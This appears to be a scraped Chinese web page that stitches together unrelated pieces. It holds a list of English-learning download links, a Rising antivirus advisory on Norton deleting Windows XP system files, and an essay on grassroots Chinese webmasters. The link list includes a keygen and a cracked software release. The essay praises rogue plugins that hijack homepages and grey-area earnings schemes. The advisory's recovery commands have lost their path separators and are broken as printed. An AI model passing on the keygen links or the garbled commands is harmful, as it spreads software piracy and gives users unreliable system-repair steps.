http://fallerr.myetang.com/study/22000.rar

英语句句通 v3.0 特别版

软件收集了逾千句英语日常用语,500余句速成英语口语,600余句外贸谈判用语,600余句商务交流英语以及千余句英语谚语,为您的英语学习提供了一个强大的辅助工具
下载
http://www.crsky.com/soft.asp?downid=1&id=1268
注册机
http://www.crsky.com/soft.asp?downid=2&id=1268

英语八哥 v2.1 完美注册版
英语八哥为您学习英语提供完整的“听、说、读、写”功能,激发您学习英语的持久兴趣,用英语八哥,过英语八级。解压密码: www.crsky.com
点击下载
http://www.crsky.com/soft.asp?downid=1&id=1428

American_Engish[PPT]

一个文件,适合高中生使用。
http://61.131.42.226/sszl/kjzz/kjk/yinwukj/english.zip

高三英语总复习专用软件(UCDOS版)

一个高三英语总复习的专用软件。
下载
http://61.131.42.226/sszl/kjzz/kjk/yinwukj/高三英语总复习专用软件(UCDOS版)001592陈越.zip

因特网上的英语学习资源

毫无疑问计算机网络——因特网是外语学习的有用工具,通过环球网和电子邮件我们能获得大量英语学习和教学的新信息和许多网上交流机会。
http://www.eslcafe.com/ Dave ESL咖啡屋,它是最好的英语学习网址之一。
http://towerofenglish.com 英语塔,它是英语学习的好网址。
http://www.go-ed.com/den/ 数字教育网络,它有在线课程,讨论论坛,在线英语语法,语法诊所和英语练习。
http://www.call.gov/resource/language/englr000.htm 语言学习进步中心,它是寻找英语学习资源的好地方。
http://www.lapasserelle.com/lm/ 英国语言和英国文化。
http://www.aitech.ac.jp/~iteslj/ESL.html 英语学生的好网页。
http://deil.lang.uiuc.edu/exchan … eference/index.html 英语学习资源。
http://www.u-net.com/eflweb/ EFL主页。
http://www.nceltr.mq.edu.au/ 网上ESL。
http://www.globalstudy.com/esl/au/abc/ 澳大利亚ESL网址。
http://biz.yahoo.com/bw/980805/edusoft_1.html Quebec教育部选择的英语ESL资源。
http://www.smartbiz.com/sbs/redirect.cgi 各种交际技巧和短文。如:打电话等。.
http://www.study.com/resources.html 英语学习资源。
http://www.esl-lab.com/ Randall ESL听力语音室
http://www.ed.uiuc.edu/edpsy-387/rongchang-li/esl/ 英语学习,包括听说练习等。
http://deil.lang.uiuc.edu/exchange 它提供以学生为对象的交互式自学材料。
http://www.unex.ucla.edu/online/ 在线英语课程。
http://www.toefl.org 托福考试。

http://www.wwenglish.com/ 旺旺英语学习网

BBC英语

http://www.mpfree.org/gb/index.html
选中英语资料, 进入后选择. 建议下载.

牛津字典完全版下载
点击进入
http://lwoods.net/download/downsoft.asp?softID=1417

大学英语听力
*****
Focus Listening 1


………………

Focus Listening 2

……L20.mp3(同上)
Focus Listening 3

……L20.mp3(同上)
Focus Listening 4

……lesson20.mp3(同上)

杨鹏GRE难句解读
***
http://bbs.wwenglish.org/uploadImages/20027302042679227.zip

杨鹏《十七天搞定GRE单词》
***
http://bbs.wwenglish.org/uploadImages/200273020435747811.zip

英语学习三十二课必修句
***
http://9669.myrice.com/english/32/A.htm

The Scroll Marked(羊皮卷)
**
http://9669.myrice.com/english/scroll/index.html

快乐英语资料
****
http://9669.myrice.com/english/index.html

初级美语教程《赖世雄》整理版
*****
http://www.tzsc.jsol.net/wangwan … /jianji/001-015.mp3
http://www.tzsc.jsol.net/wangwan … /jianji/016-030.mp3
http://www.tzsc.jsol.net/wangwan … /jianji/031-045.mp3
http://www.tzsc.jsol.net/wangwan … ji/jianji/cm046.mp3
…… …… ……
http://www.tzsc.jsol.net/wangwan … ji/jianji/cm147.mp3
http://www.tzsc.jsol.net/wangwan … ji/jianji/cm148.mp3

随大山万里行
*****
http://www.tzsc.jsol.net/wangwan … shanwanlixing/01.rm
http://www.tzsc.jsol.net/wangwan … shanwanlixing/02.rm
…… ……
http://www.tzsc.jsol.net/wangwan … shanwanlixing/25.rm

许国章多媒体光盘
*****
下载
http://www.tzsc.jsol.net/wangwan … g/guanpan/XGZ1A.VCD

英语听力通 4.0
****
一款英语学习复读软件,但它绝不同于一般的电子复读机的功能,同时还有强大的文件处理功能,能满足英语学习者通过听写、读背突破听力的需要。
http://smg.vip.myrice.com/smg2002-01-01-0782.html

傲文英语
****
下载英语听力通语音资料的网站.
http://www.etlt.com.cn/

英语笑话
***
大家选择观看.
http://www.atlantaga.com/humor.htm

美国图书馆
****
美国国会图书馆
http://www.coc.gov/
美国国家医学图书馆
http://www.nlm.nih.gov/
美国国家农业图书馆
http://www.nalusda.gov/
美国普林斯顿大学图书馆
http://infosharel.princeton.edu:2003/
美国斯坦福大学图书馆
http://palimpsest.stanford.edu/
美国麻省理工学院图书馆
http://libraries.mit.edu/

英语在线写作
***
http://owl.english.purdue.edu/

英语手势语大全
**
http://www.englishchina.com/hand%20sign/index.htm

中级美国英语商都听音室
*****
http://www.zz.ha.cn/jiaoyu/eng/voa.htm

托福上游
****
想考托福人士必去网站
http://vip.6to23.com/toptoefl/

英语论文
***
收录了英语专业本科生优秀论文、研究生论文及专家学者论文
http://go8.163.com/literatureark/thesis/index.htm

ENGLISHABC在线课堂
****
http://www.englishabc.net/index.htm

韦氏电子版大学词典(V-2.5)
****
ftp://211.99.212.14/Software/Merriam-Webster_V2.5.zip

出国申请
**
新版crazyemail
http://www.taisha.org/download/other/crazyemail.zip
院校&专业e-mail
http://www.taisha.org/download/other/e-mail.zip
美加研究生院地址
http://www.taisha.org/download/other/adress.zip

美国大学资料
***
全美最新排名2002
http://www.taisha.org/download/other/ranking.zip
美国大学专业Pop榜
http://www.taisha.org/download/other/most_popug.zip
全美大学专业分类全集
http://www.taisha.org/download/other/list_of_majors.zip

XP系统文件被诺顿误杀的预防和解决方法

网易科技讯 5月18日消息,据瑞星公司今日向网易科技透露,诺顿杀毒软件出现重大问题。诺顿今日升级病毒库后,把Windows XP系统的关键系统文件当作病毒清除,重启后系统将会瘫痪。有消息称,目前国内某大型网络游戏公司的2000多台机器已经全部崩溃。以下是瑞星发布的关于该安全事故的预防和解决方法。

瑞星反病毒专家建议:还没有受到误杀影响的用户

1、拔掉网线再开启计算机。

2、启动计算机后,关闭诺顿杀毒软件的实时监控程序再插入网线上网。

3、等待赛门铁克公司解决该问题后,才可以继续启用诺顿实时监控程序。

4、关闭杀毒软件实时监控程序可能导致计算机感染其它的病毒、木马及恶意程序,用户可以暂时选用其它的杀毒软件。

对于系统已经瘫痪的用户:

1、使用windows 安装光盘启动系统,在提示菜单处按R进入恢复控制台。


2、在提示中按“1”然后回车,选择需要修复的系统,并输入管理员密码。


3、执行如下命令进行修复(X表示光盘盘符):

Expand x:I386
etapi32.dl_ c:windowssystem32 [回车]

Expand x:I386
etapi32.dl_ c:windowssystem32dllcache [回车]

Expand x:I386lsasrv.dl_ c:windowssystem32 [回车]

Expand x:I386lsasrv.dl_ c:windowssystem32dllcache [回车]

4、重新启动计算机,关闭诺顿的实时监控程序。

5、启动诺顿的隔离区,恢复netapi32.dll和lsasrv.dll。

6、等待赛门铁克公司解决该问题后,才可以继续启用诺顿实时监控程序。

7、关闭杀毒软件实时监控程序可能导致计算机感染其它的病毒、木马及恶意程序,用户可以暂时选用其它的杀毒软件。

白领们要了解草根互联网江湖

  今年4月我有幸应蔡文胜先生邀请,以嘉宾身份参加了厦门站长大会,开始深入接触中国互联网草根江湖。会上我身边坐的是李善友先生与庞升东。李先生是一个由互联网精英高层(搜狐原副总裁)投入互联网江湖(自己创办ku6网)的人,他在会上真诚的说,我原来居庙堂之高,以为自己很懂互联网,如果你深入到互联网江湖,才发现自己原来对互联网其实什么都不懂,就像现在主流互联网公司的白领高层其实并不懂互联网一样。李先生这种甘心深入互联网江湖的心态,导致了先生的成功(刚刚看到李善友先生拿到500万美元投资),他创业前曾去拜访互联网江湖的影子大哥李兴平先生,去过李兴平在梅州的家里,这种心态值得所有白领互联网人士学习。李善友在站长大会上只要提到李兴平,总会用“伟大的李兴平”称呼。在李善友先生眼里,那些baidu/sina以及已经那些所谓web2.0等主流互联网公司的OO/VP们都是不懂互联网的,都只能做这些中国草根创业精英站长的学生。李先生说他最在乎的称号是“站长”这个互联网江湖的名号,他在站长大会的出彩的、“干货”的主持,以及对互联网江湖的“敬畏”奠定了李成为互联网江湖的新“军师”或“师爷”的定位。
  所以这篇小文就是带这些主流互联网的白领们去认识一下他们原来并不了解的互联网“江湖”。连力求本土化的谷歌全程赞助了此次互联网江湖聚会,向互联网江湖示好,互联网白领们也应该了解一些。你要知道你们这些白领们每年拿着老板投入的上千万推广费用才能作出一个几万uv流量的网站,而这些互联网江湖的高手只要一个人运营网站、0推广费用就可以做到20万到30万uv流量的网站,难道你们不需要放下架子去了解多一点吗。
  一、认识互联网江湖人物
  要认识中国互联网江湖,就首先要认识这些互联网江湖大佬:

  东邪蔡文胜:

  学历初中,最具代表性的中国草根互联网老大,在草根站长中的影响力独一无二,每年的站长大会就是此人的号召力而成的互联网江湖“华山论剑”。他打字都学了2年才学会,创立了世界第一快的域名抢注系统,曾抢注fm365域名再无偿给回联想而名噪一时。蔡用传统生意眼光与手法来经营互联网,并在没有商业计划书的情况下获得IDG的投资,其创立的265现在被Google收购,成为google中国的战略性合作伙伴。蔡手中操纵的流量实际可达中国互联网总流量的10%以上,为中国最大的“互联网流量生意商”以及中国的“域名大王”,被尊为中国互联网江湖的“东邪”。
  西毒周鸿祎
  3721创始人,中国流氓软件的始作俑者,中国互联网的“西毒”,现主要的平台是奇虎,为互联网一代枭雄。互联网江湖的“无间道”人物,现在又以360卫士反“恶评软件”,非议颇多。
  南帝李兴平
  hao123创始人,中国草根网站第一人,卖给百度以后,他手上还有一堆全球排名1000名以内的站。”图王”(我的这篇文章资料很多都参考此人收集的)说连这个人都不知道,就别在混中国互联网江湖混了,他以一人之力,打败成千上万精英打造的同样做网址站的yahoo等国际互联网,成为打擂英雄。我在厦门站长大会吃亚洲海湾大酒店午餐自助餐时,旁边的2个人说,李兴平现在正在筹备自己的婚礼,他的婚宴又将是一个互联网江湖盛会,如果谁收到他发的帖子将是互联网江湖的荣幸身份象征,没有人敢不给面子不去的。你要知道他原来的hao123如果将谁的个人网站收录到主页,就能给这个网站每天带来上10万的流量,谁就有可能成为百万富翁,反之删除了,就有可能让你一无所有。其江湖影响力可见一斑。
  北丐:图王、阿飞、董勤锋

  他们本人并不非常成功与非常有钱,但他们创立的服务于中国站长的网站chinaz/admin5/落伍者在互联网江湖有很大的影响力,很多站长得到过他们的帮助。而要了解互联网江湖并结识互联网江湖人物,并知道互联网江湖的行话,就要整天泡在这些互联网江湖的论坛里才能入行。

  互联网江湖的军师:

  包括前军师刘韧、现任军师李善友,这2人就不用介绍了。
  此外这几个互联网江湖人物也是要知道一点的如:
   庞升东:互联网投机高手,浙江小农出身,极聪明的草根代表。资深股民,投机高手。51.com老板,他运营的9991、6781、2345等网址站的流量总和排在网址站前三。现顶着流氓软件所面临的巨大压力,在上海韬光养晦。

  冯鑫:中国插件大王,不会用MSN和QQ的真草根!曾负责3721客户端项目,现手中拥有国内最大的插件联盟,可控制2000万台电脑桌面。冯鑫是国内最了解桌面软件的人之一,抢在百度之前收购中国最流行的播放器暴风影音,现在转战控制桌面的右下端流量。
   吴京川:前百度联盟操盘手,也是从职业经理人转战互联网江湖的成功人士,依靠在百度联盟时积累的个人站长关系,做网站联盟很轻松的把收入做到了千万级。
  宋海波:中国论坛系统大王,一个人做的动网论坛系统到现在还是全球安装量和使用量最高的个人论坛系统,现在中国绝大多数论坛都采用其系统。
  王通:河南人,中国SEO大王,现在鼓吹以投资手法来经营互联网生意赚钱,也是互联网江湖响当当的人物。
  另外要了解更多的互联网江湖人物可以去中国站长大会网站去看看或去一些站长网站。

  二、互联网江湖的数据

  千万站长:据中国互联网网络信息中心的数据显示,我国个人网站数量已经突破3000万家,有上千万人担任着网站站长之职。这些站长就是中国互联网的江湖人物,上面的介绍的是江湖的武林高手。
  35%内容:在厦门举行的中国个人网站站长大聚会,登上游览大、小金门的游船。其中一位站长说:“如果这条船沉了,中国的互联网行业都会瘫痪。”虽然只是一句玩笑话,但个人网站在整个互联网中的力量的确不容小觑。一直以来,他们的光彩被新浪、搜狐等互联网“大鳄”掩盖,成为互联网名副其实的“草根”阶层,他们也实实在在地占据了互联网35%的内容市场,吸引着从数百到千万不等的忠实网民。

  40%流量:只有15%的个人网站有自己的服务器,其中拥有两台或以上服务器的仅有约13%,人力方面,平均每个个人网站也仅有2.1名员工。但他们带来整个中国互联网40%的流量

  整个站长的收入我不清楚,仅仅知道百度联盟、淘宝联盟、ebay联盟及google adsense等平均每家给中国站长一年大约一个亿的收入。
  三、从厦门站长大会的精英站长数据来看互联网主流江湖:

  参会80%的站长的网站流量在10万以上:此次站长大会真是高手如云,我吃饭的时候随便问一下身边的站长,你的网站流量是多少,旁边的一个做小电影的河北站长小伙子说,不多,每天20多万吧,我不相信,回酒店查了查,真的是。可以说你在会上几百人中随便找一个人都是几十万流量的站长。那些白领们真的该羞愧了,人家是一个人在做呀。
  50%的参会站长已经是百万富翁:要知道参加此次站长大会的总体费用(报名费3600+机票及五星级酒店等)一个人要上万,每年不赚几十万的站长可是舍不得化上万费用参加一个会议的。
  现在80%成功赚钱的站长内容还是娱乐为主:小电影、图铃等。

  90%的站长现在还是靠网站联盟及SP赚钱。不讳言的说,这些站长们搞擦边球,挣一些有争议的钱,如做插件、输入手机号码、银行账号的网站等赚钱。此次站长大会是在靠SP骗钱已经不行了、在易趣、淘宝联盟不给钱的背景下召开。
  我暗中观察成功的几百站长们平均身高只有1.6,大多数象吸过毒的偏瘦,而且成功站长让女人走开,几百人中没有几个女性站长。

  80%的成功站长的网站域名都是拼音加数字的短域名:很少有人用英语,而且越短越好。我在给几家网站策划域名时,精英高层都推崇baidu域名,“众里寻他千百度”,多么优雅呀,但baidu这个域名如果不是网站本身成功,其实其域名本身是不值钱的。

  80%的成功站长做站时间超过5年:毕竟绝大多数站长不是天才,都是在互联网江湖历练熬出来的,不断失败,不断总结最后成功的,所以坚持是非常重要的。

  站长的成功很多也是看清并顺应了大势、并用自己的独门秘诀坚持并成功的,如不为人所知的265成功秘笈是应用域名****,抢注一个fm365域名跳转流量就带来每天30万,网站想不成功都很难。而hao123前期就是靠插件将中国所有网吧主页强行设为主页而且顺应了大量菜鸟进入互联网的时机而成功的。
  90%的成功站长靠QQ群作为主要联系方式:成功的互联网江湖人士已经形成一个圈子,互相带经验与流量,外人很难进入这个圈子,你的个人网站没有10万流量就很难进入互联网江湖的主流圈子。
  互联网站长是中国最自由、最快乐的群体之一,每天深入的投入的做自己最感兴趣、最喜欢的事情,为自己做事,洪波辞职的时候也说“人生最可珍贵的是自由”,站长是最自由的人群,如果还能赚钱就更好的。我本人此次参加互联网站长大会后,也受互联网江湖的感召,也即将投入互联网江湖了。

  现在白领精英们做互联网推广就知道去搜索引擎买关键词及在门户网站放贵的惊人的banner,而不知道互联网江湖有成百的推广方法:插件、联盟、跳转、弹出、发贴软件、捆绑、优化、群发等等;当互联网精英们靠地铁/户外广告100元带来一个人、靠报纸广告20元带来一个人、靠三大门户10元带来一个人、靠搜索引擎1元一个人,而互联网江湖上出现大量低于一分钱带来一个真实有效的用户的推广。即使从推广这个意义上说多了解互联网江湖是非常有必要的,正规的网站如果能够聘用一个成功站长让其发挥,他们最了解用户的需求、知道用最低的成本运营网站、最懂得网站推广方法,其威力是无比的。

可以预计的是相信下一轮站长洗牌开始了,娱乐流量现在不行了,看谁转型做商业流量成功才能成活,2年后互联网江湖的武林大会将是商业流量为王的大会。
作者:龚文祥